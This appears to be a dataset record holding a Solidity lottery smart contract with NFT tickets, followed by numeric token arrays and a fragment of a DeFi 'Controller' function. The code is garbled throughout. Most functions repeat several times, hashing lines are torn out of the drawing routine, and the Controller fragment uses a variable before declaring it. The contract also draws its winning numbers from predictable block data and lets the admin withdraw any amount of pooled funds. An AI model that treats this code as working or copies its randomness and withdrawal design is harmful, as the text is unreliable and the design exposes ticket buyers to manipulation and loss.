contract Lottery is LotteryOwnable, Initializable { using SafeMath for uint256; using SafeMath for uint8; using SafeERC20 for IERC20; uint8 constant keyLengthForEachBuy = 11; uint8[3] public allocation; IERC20 public dooda; LotteryNFT public lotteryNFT; address public adminAddress; uint8 public maxNumber; uint256 public minPrice; mapping (uint256 => uint8[4]) public historyNumbers; mapping (uint256 => uint256[]) public lotteryInfo; mapping (uint256 => uint256[]) public historyAmount; mapping (uint256 => mapping(uint64 => uint256)) public userBuyAmountSum; mapping (address => uint256[]) public userInfo; uint256 public issueIndex = 0; uint256 public totalAddresses = 0; uint256 public totalAmount = 0; uint256 public lastTimestamp; uint8[4] public winningNumbers; bool public drawingPhase; event Buy(address indexed user, uint256 tokenId); event Drawing(uint256 indexed issueIndex, uint8[4] winningNumbers); event Claim(address indexed user, uint256 tokenid, uint256 amount); event DevWithdraw(address indexed user, uint256 amount); event Reset(uint256 indexed issueIndex); event MultiClaim(address indexed user, uint256 amount); event MultiBuy(address indexed user, uint256 amount); constructor() public { } function initialize( IERC20 _dooda, LotteryNFT _lottery, uint256 _minPrice, uint8 _maxNumber, address _owner, address _adminAddress ) public initializer { dooda = _dooda; lotteryNFT = _lottery; minPrice = _minPrice; maxNumber = _maxNumber; adminAddress = _adminAddress; lastTimestamp = block.timestamp; allocation = [60, 20, 10]; initOwner(_owner); } uint8[4] private nullTicket = [0,0,0,0]; modifier onlyAdmin() { require(msg.sender == adminAddress, "admin: wut?"); _; } function drawed() public view returns(bool) { return winningNumbers[0] != 0; } function reset() external onlyAdmin { require(drawed(), "drawed?"); lastTimestamp = block.timestamp; totalAddresses = 0; totalAmount = 0; winningNumbers[0]=0; winningNumbers[1]=0; winningNumbers[2]=0; winningNumbers[3]=0; drawingPhase = false; issueIndex = issueIndex +1; if(getMatchingRewardAmount(issueIndex-1, 4) == 0) { uint256 amount = getTotalRewards(issueIndex-1).mul(allocation[0]).div(100); internalBuy(amount, nullTicket); } emit Reset(issueIndex); } function reset() external onlyAdmin { require(drawed(), "drawed?"); lastTimestamp = block.timestamp; totalAddresses = 0; totalAmount = 0; winningNumbers[0]=0; winningNumbers[1]=0; winningNumbers[2]=0; winningNumbers[3]=0; drawingPhase = false; issueIndex = issueIndex +1; if(getMatchingRewardAmount(issueIndex-1, 4) == 0) { uint256 amount = getTotalRewards(issueIndex-1).mul(allocation[0]).div(100); internalBuy(amount, nullTicket); } emit Reset(issueIndex); } function enterDrawingPhase() external onlyAdmin { require(!drawed(), 'drawed'); drawingPhase = true; } function drawing(uint256 _externalRandomNumber) external onlyAdmin { require(!drawed(), "reset?"); require(drawingPhase, "enter drawing phase first"); bytes32 _structHash; uint256 _randomNumber; uint8 _maxNumber = maxNumber; bytes32 _blockhash = blockhash(block.number-1); for (uint i = 0; i < 10; i++) { getTotalRewards(issueIndex); } uint256 gasleft = gasleft(); abi.encode( _blockhash, totalAddresses, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[0]=uint8(_randomNumber); abi.encode( _blockhash, totalAmount, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[1]=uint8(_randomNumber); abi.encode( _blockhash, lastTimestamp, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[2]=uint8(_randomNumber); abi.encode( _blockhash, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[3]=uint8(_randomNumber); historyNumbers[issueIndex] = winningNumbers; historyAmount[issueIndex] = calculateMatchingRewardAmount(); drawingPhase = false; emit Drawing(issueIndex, winningNumbers); } function drawing(uint256 _externalRandomNumber) external onlyAdmin { require(!drawed(), "reset?"); require(drawingPhase, "enter drawing phase first"); bytes32 _structHash; uint256 _randomNumber; uint8 _maxNumber = maxNumber; bytes32 _blockhash = blockhash(block.number-1); for (uint i = 0; i < 10; i++) { getTotalRewards(issueIndex); } uint256 gasleft = gasleft(); abi.encode( _blockhash, totalAddresses, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[0]=uint8(_randomNumber); abi.encode( _blockhash, totalAmount, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[1]=uint8(_randomNumber); abi.encode( _blockhash, lastTimestamp, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[2]=uint8(_randomNumber); abi.encode( _blockhash, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); winningNumbers[3]=uint8(_randomNumber); historyNumbers[issueIndex] = winningNumbers; historyAmount[issueIndex] = calculateMatchingRewardAmount(); drawingPhase = false; emit Drawing(issueIndex, winningNumbers); } _structHash = keccak256( assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} _structHash = keccak256( assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} _structHash = keccak256( assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} _structHash = keccak256( assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} function internalBuy(uint256 _price, uint8[4] memory _numbers) internal { require (!drawed(), 'drawed, can not buy now'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed the maximum'); } uint256 tokenId = lotteryNFT.newLotteryItem(address(this), _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; emit Buy(address(this), tokenId); } function internalBuy(uint256 _price, uint8[4] memory _numbers) internal { require (!drawed(), 'drawed, can not buy now'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed the maximum'); } uint256 tokenId = lotteryNFT.newLotteryItem(address(this), _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; emit Buy(address(this), tokenId); } function buy(uint256 _price, uint8[4] memory _numbers) external { require(!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; uint64[keyLengthForEachBuy] memory userNumberIndex = generateNumberIndexKey(_numbers); for (uint i = 0; i < keyLengthForEachBuy; i++) { userBuyAmountSum[issueIndex][userNumberIndex[i]]=userBuyAmountSum[issueIndex][userNumberIndex[i]].add(_price); } dooda.safeTransferFrom(address(msg.sender), address(this), _price); emit Buy(msg.sender, tokenId); } function buy(uint256 _price, uint8[4] memory _numbers) external { require(!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; uint64[keyLengthForEachBuy] memory userNumberIndex = generateNumberIndexKey(_numbers); for (uint i = 0; i < keyLengthForEachBuy; i++) { userBuyAmountSum[issueIndex][userNumberIndex[i]]=userBuyAmountSum[issueIndex][userNumberIndex[i]].add(_price); } dooda.safeTransferFrom(address(msg.sender), address(this), _price); emit Buy(msg.sender, tokenId); } function buy(uint256 _price, uint8[4] memory _numbers) external { require(!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; uint64[keyLengthForEachBuy] memory userNumberIndex = generateNumberIndexKey(_numbers); for (uint i = 0; i < keyLengthForEachBuy; i++) { userBuyAmountSum[issueIndex][userNumberIndex[i]]=userBuyAmountSum[issueIndex][userNumberIndex[i]].add(_price); } dooda.safeTransferFrom(address(msg.sender), address(this), _price); emit Buy(msg.sender, tokenId); } function buy(uint256 _price, uint8[4] memory _numbers) external { require(!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; uint64[keyLengthForEachBuy] memory userNumberIndex = generateNumberIndexKey(_numbers); for (uint i = 0; i < keyLengthForEachBuy; i++) { userBuyAmountSum[issueIndex][userNumberIndex[i]]=userBuyAmountSum[issueIndex][userNumberIndex[i]].add(_price); } dooda.safeTransferFrom(address(msg.sender), address(this), _price); emit Buy(msg.sender, tokenId); } function multiBuy(uint256 _price, uint8[4][] memory _numbers) external { require (!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); uint256 totalPrice = 0; for (uint i = 0; i < _numbers.length; i++) { for (uint j = 0; j < 4; j++) { require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; totalPrice = totalPrice.add(_price); uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]); for (uint k = 0; k < keyLengthForEachBuy; k++) { userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price); } } dooda.safeTransferFrom(address(msg.sender), address(this), totalPrice); emit MultiBuy(msg.sender, totalPrice); } function multiBuy(uint256 _price, uint8[4][] memory _numbers) external { require (!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); uint256 totalPrice = 0; for (uint i = 0; i < _numbers.length; i++) { for (uint j = 0; j < 4; j++) { require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; totalPrice = totalPrice.add(_price); uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]); for (uint k = 0; k < keyLengthForEachBuy; k++) { userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price); } } dooda.safeTransferFrom(address(msg.sender), address(this), totalPrice); emit MultiBuy(msg.sender, totalPrice); } function multiBuy(uint256 _price, uint8[4][] memory _numbers) external { require (!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); uint256 totalPrice = 0; for (uint i = 0; i < _numbers.length; i++) { for (uint j = 0; j < 4; j++) { require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; totalPrice = totalPrice.add(_price); uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]); for (uint k = 0; k < keyLengthForEachBuy; k++) { userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price); } } dooda.safeTransferFrom(address(msg.sender), address(this), totalPrice); emit MultiBuy(msg.sender, totalPrice); } function multiBuy(uint256 _price, uint8[4][] memory _numbers) external { require (!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); uint256 totalPrice = 0; for (uint i = 0; i < _numbers.length; i++) { for (uint j = 0; j < 4; j++) { require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; totalPrice = totalPrice.add(_price); uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]); for (uint k = 0; k < keyLengthForEachBuy; k++) { userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price); } } dooda.safeTransferFrom(address(msg.sender), address(this), totalPrice); emit MultiBuy(msg.sender, totalPrice); } function multiBuy(uint256 _price, uint8[4][] memory _numbers) external { require (!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); uint256 totalPrice = 0; for (uint i = 0; i < _numbers.length; i++) { for (uint j = 0; j < 4; j++) { require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; totalPrice = totalPrice.add(_price); uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]); for (uint k = 0; k < keyLengthForEachBuy; k++) { userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price); } } dooda.safeTransferFrom(address(msg.sender), address(this), totalPrice); emit MultiBuy(msg.sender, totalPrice); } function claimReward(uint256 _tokenId) external { require(msg.sender == lotteryNFT.ownerOf(_tokenId), "not from owner"); require (!lotteryNFT.getClaimStatus(_tokenId), "claimed"); uint256 reward = getRewardView(_tokenId); lotteryNFT.claimReward(_tokenId); if(reward>0) { dooda.safeTransfer(address(msg.sender), reward); } emit Claim(msg.sender, _tokenId, reward); } function claimReward(uint256 _tokenId) external { require(msg.sender == lotteryNFT.ownerOf(_tokenId), "not from owner"); require (!lotteryNFT.getClaimStatus(_tokenId), "claimed"); uint256 reward = getRewardView(_tokenId); lotteryNFT.claimReward(_tokenId); if(reward>0) { dooda.safeTransfer(address(msg.sender), reward); } emit Claim(msg.sender, _tokenId, reward); } function multiClaim(uint256[] memory _tickets) external { uint256 totalReward = 0; for (uint i = 0; i < _tickets.length; i++) { require (msg.sender == lotteryNFT.ownerOf(_tickets[i]), "not from owner"); require (!lotteryNFT.getClaimStatus(_tickets[i]), "claimed"); uint256 reward = getRewardView(_tickets[i]); if(reward>0) { totalReward = reward.add(totalReward); } } lotteryNFT.multiClaimReward(_tickets); if(totalReward>0) { dooda.safeTransfer(address(msg.sender), totalReward); } emit MultiClaim(msg.sender, totalReward); } function multiClaim(uint256[] memory _tickets) external { uint256 totalReward = 0; for (uint i = 0; i < _tickets.length; i++) { require (msg.sender == lotteryNFT.ownerOf(_tickets[i]), "not from owner"); require (!lotteryNFT.getClaimStatus(_tickets[i]), "claimed"); uint256 reward = getRewardView(_tickets[i]); if(reward>0) { totalReward = reward.add(totalReward); } } lotteryNFT.multiClaimReward(_tickets); if(totalReward>0) { dooda.safeTransfer(address(msg.sender), totalReward); } emit MultiClaim(msg.sender, totalReward); } function multiClaim(uint256[] memory _tickets) external { uint256 totalReward = 0; for (uint i = 0; i < _tickets.length; i++) { require (msg.sender == lotteryNFT.ownerOf(_tickets[i]), "not from owner"); require (!lotteryNFT.getClaimStatus(_tickets[i]), "claimed"); uint256 reward = getRewardView(_tickets[i]); if(reward>0) { totalReward = reward.add(totalReward); } } lotteryNFT.multiClaimReward(_tickets); if(totalReward>0) { dooda.safeTransfer(address(msg.sender), totalReward); } emit MultiClaim(msg.sender, totalReward); } function multiClaim(uint256[] memory _tickets) external { uint256 totalReward = 0; for (uint i = 0; i < _tickets.length; i++) { require (msg.sender == lotteryNFT.ownerOf(_tickets[i]), "not from owner"); require (!lotteryNFT.getClaimStatus(_tickets[i]), "claimed"); uint256 reward = getRewardView(_tickets[i]); if(reward>0) { totalReward = reward.add(totalReward); } } lotteryNFT.multiClaimReward(_tickets); if(totalReward>0) { dooda.safeTransfer(address(msg.sender), totalReward); } emit MultiClaim(msg.sender, totalReward); } function generateNumberIndexKey(uint8[4] memory number) public pure returns (uint64[keyLengthForEachBuy] memory) { uint64[4] memory tempNumber; tempNumber[0]=uint64(number[0]); tempNumber[1]=uint64(number[1]); tempNumber[2]=uint64(number[2]); tempNumber[3]=uint64(number[3]); uint64[keyLengthForEachBuy] memory result; result[0] = tempNumber[0]*256*256*256*256*256*256 + 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[1] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 2*256+ tempNumber[2]; result[2] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 3*256+ tempNumber[3]; result[3] = tempNumber[0]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[4] = 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[5] = tempNumber[0]*256*256 + 1*256+ tempNumber[1]; result[6] = tempNumber[0]*256*256 + 2*256+ tempNumber[2]; result[7] = tempNumber[0]*256*256 + 3*256+ tempNumber[3]; result[8] = 1*256*256*256 + tempNumber[1]*256*256 + 2*256 + tempNumber[2]; result[9] = 1*256*256*256 + tempNumber[1]*256*256 + 3*256 + tempNumber[3]; result[10] = 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; return result; } function calculateMatchingRewardAmount() internal view returns (uint256[4] memory) { uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(winningNumbers); uint256 totalAmout1 = userBuyAmountSum[issueIndex][numberIndexKey[0]]; uint256 sumForTotalAmout2 = userBuyAmountSum[issueIndex][numberIndexKey[1]]; sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[2]]); sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[3]]); sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[4]]); uint256 totalAmout2 = sumForTotalAmout2.sub(totalAmout1.mul(4)); uint256 sumForTotalAmout3 = userBuyAmountSum[issueIndex][numberIndexKey[5]]; sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[6]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[7]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[8]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[9]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[10]]); uint256 totalAmout3 = sumForTotalAmout3.add(totalAmout1.mul(6)).sub(sumForTotalAmout2.mul(3)); return [totalAmount, totalAmout1, totalAmout2, totalAmout3]; } function getMatchingRewardAmount(uint256 _issueIndex, uint256 _matchingNumber) public view returns (uint256) { return historyAmount[_issueIndex][5 - _matchingNumber]; } function getTotalRewards(uint256 _issueIndex) public view returns(uint256) { require (_issueIndex <= issueIndex, '_issueIndex <= issueIndex'); if(!drawed() && _issueIndex == issueIndex) { return totalAmount; } return historyAmount[_issueIndex][0]; } function getTotalRewards(uint256 _issueIndex) public view returns(uint256) { require (_issueIndex <= issueIndex, '_issueIndex <= issueIndex'); if(!drawed() && _issueIndex == issueIndex) { return totalAmount; } return historyAmount[_issueIndex][0]; } function getRewardView(uint256 _tokenId) public view returns(uint256) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId); uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId); uint8[4] memory _winningNumbers = historyNumbers[_issueIndex]; require(_winningNumbers[0] != 0, "not drawed"); uint256 matchingNumber = 0; for (uint i = 0; i < lotteryNumbers.length; i++) { if (_winningNumbers[i] == lotteryNumbers[i]) { matchingNumber= matchingNumber +1; } } uint256 reward = 0; if (matchingNumber > 1) { uint256 amount = lotteryNFT.getLotteryAmount(_tokenId); uint256 poolAmount = getTotalRewards(_issueIndex).mul(allocation[4-matchingNumber]).div(100); reward = amount.mul(1e12).div(getMatchingRewardAmount(_issueIndex, matchingNumber)).mul(poolAmount); } return reward.div(1e12); } function getRewardView(uint256 _tokenId) public view returns(uint256) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId); uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId); uint8[4] memory _winningNumbers = historyNumbers[_issueIndex]; require(_winningNumbers[0] != 0, "not drawed"); uint256 matchingNumber = 0; for (uint i = 0; i < lotteryNumbers.length; i++) { if (_winningNumbers[i] == lotteryNumbers[i]) { matchingNumber= matchingNumber +1; } } uint256 reward = 0; if (matchingNumber > 1) { uint256 amount = lotteryNFT.getLotteryAmount(_tokenId); uint256 poolAmount = getTotalRewards(_issueIndex).mul(allocation[4-matchingNumber]).div(100); reward = amount.mul(1e12).div(getMatchingRewardAmount(_issueIndex, matchingNumber)).mul(poolAmount); } return reward.div(1e12); } function getRewardView(uint256 _tokenId) public view returns(uint256) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId); uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId); uint8[4] memory _winningNumbers = historyNumbers[_issueIndex]; require(_winningNumbers[0] != 0, "not drawed"); uint256 matchingNumber = 0; for (uint i = 0; i < lotteryNumbers.length; i++) { if (_winningNumbers[i] == lotteryNumbers[i]) { matchingNumber= matchingNumber +1; } } uint256 reward = 0; if (matchingNumber > 1) { uint256 amount = lotteryNFT.getLotteryAmount(_tokenId); uint256 poolAmount = getTotalRewards(_issueIndex).mul(allocation[4-matchingNumber]).div(100); reward = amount.mul(1e12).div(getMatchingRewardAmount(_issueIndex, matchingNumber)).mul(poolAmount); } return reward.div(1e12); } function getRewardView(uint256 _tokenId) public view returns(uint256) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId); uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId); uint8[4] memory _winningNumbers = historyNumbers[_issueIndex]; require(_winningNumbers[0] != 0, "not drawed"); uint256 matchingNumber = 0; for (uint i = 0; i < lotteryNumbers.length; i++) { if (_winningNumbers[i] == lotteryNumbers[i]) { matchingNumber= matchingNumber +1; } } uint256 reward = 0; if (matchingNumber > 1) { uint256 amount = lotteryNFT.getLotteryAmount(_tokenId); uint256 poolAmount = getTotalRewards(_issueIndex).mul(allocation[4-matchingNumber]).div(100); reward = amount.mul(1e12).div(getMatchingRewardAmount(_issueIndex, matchingNumber)).mul(poolAmount); } return reward.div(1e12); } function setAdmin(address _adminAddress) public onlyOwner { adminAddress = _adminAddress; } function adminWithdraw(uint256 _amount) public onlyAdmin { dooda.safeTransfer(address(msg.sender), _amount); emit DevWithdraw(msg.sender, _amount); } function setMinPrice(uint256 _price) external onlyAdmin { minPrice = _price; } function setMaxNumber(uint8 _maxNumber) external onlyAdmin { maxNumber = _maxNumber; } function setAllocation(uint8 _allcation1, uint8 _allcation2, uint8 _allcation3) external onlyAdmin { allocation = [_allcation1, _allcation2, _allcation3]; } }
13,124,681
[ 1, 17353, 364, 1122, 19, 87, 275, 10013, 19, 451, 6909, 19890, 1021, 14275, 358, 30143, 17417, 387, 93, 1021, 511, 352, 387, 93, 423, 4464, 364, 24475, 3981, 1887, 943, 1854, 1131, 5147, 16, 309, 6970, 353, 486, 6549, 16, 9582, 2715, 518, 28562, 14468, 12275, 5672, 548, 516, 5657, 2093, 10072, 63, 13851, 65, 5672, 548, 516, 306, 2316, 548, 65, 5672, 548, 516, 306, 4963, 6275, 16, 1122, 2060, 6275, 16, 2205, 9517, 6275, 16, 12126, 9517, 6275, 65, 5672, 548, 516, 433, 13055, 1854, 516, 30143, 6275, 3495, 1758, 516, 306, 2316, 548, 65, 805, 629, 28562, 14468, 12275, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 511, 352, 387, 93, 353, 511, 352, 387, 93, 5460, 429, 16, 10188, 6934, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 10477, 364, 2254, 28, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 2254, 28, 5381, 31611, 1290, 3442, 38, 9835, 273, 4648, 31, 203, 565, 2254, 28, 63, 23, 65, 1071, 13481, 31, 203, 565, 467, 654, 39, 3462, 1071, 741, 21319, 31, 203, 565, 511, 352, 387, 93, 50, 4464, 1071, 17417, 387, 93, 50, 4464, 31, 203, 565, 1758, 1071, 3981, 1887, 31, 203, 565, 2254, 28, 1071, 943, 1854, 31, 203, 565, 2254, 5034, 1071, 1131, 5147, 31, 203, 203, 203, 565, 2874, 261, 11890, 5034, 516, 2254, 28, 63, 24, 5717, 1071, 4927, 10072, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2254, 5034, 63, 5717, 1071, 17417, 387, 93, 966, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2254, 5034, 63, 5717, 1071, 4927, 6275, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2874, 12, 11890, 1105, 516, 2254, 5034, 3719, 1071, 729, 38, 9835, 6275, 3495, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 63, 5717, 1071, 16753, 31, 203, 203, 565, 2254, 5034, 1071, 5672, 1016, 273, 374, 31, 203, 565, 2254, 5034, 1071, 2078, 7148, 273, 374, 31, 203, 565, 2254, 5034, 1071, 2078, 6275, 273, 374, 31, 203, 565, 2254, 5034, 1071, 1142, 4921, 31, 203, 203, 565, 2254, 28, 63, 24, 65, 1071, 5657, 2093, 2 ]
./partial_match/4/0x4e7d503cbcD94519F62730061F4Cd5F7bC23813e/sources/Controller.sol
* @notice Recalculate and update PIE speeds for all PIE markets/
function refreshPieSpeedsInternal() internal { address[] memory allMarkets_ = allMarkets; for (uint i = 0; i < allMarkets_.length; i++) { address pToken = allMarkets_[i]; updatePieSupplyIndex(pToken); updatePieBorrowIndex(pToken, borrowIndex); } Exp[] memory utilities = new Exp[](allMarkets_.length); Exp memory borrowIndex = Exp({mantissa: IPToken(pToken).borrowIndex()}); Exp memory totalUtility = Exp({mantissa: 0}); for (uint i = 0; i < allMarkets_.length; i++) { address pToken = allMarkets_[i]; if (markets[pToken].isPied) { oracle.updateUnderlyingPrice(pToken); Exp memory utility = mul_(interestPerBlock, assetPrice); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (uint i = 0; i < allMarkets_.length; i++) { address pToken = allMarkets_[i]; if (markets[pToken].isPied) { oracle.updateUnderlyingPrice(pToken); Exp memory utility = mul_(interestPerBlock, assetPrice); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } Exp memory assetPrice = Exp({mantissa: 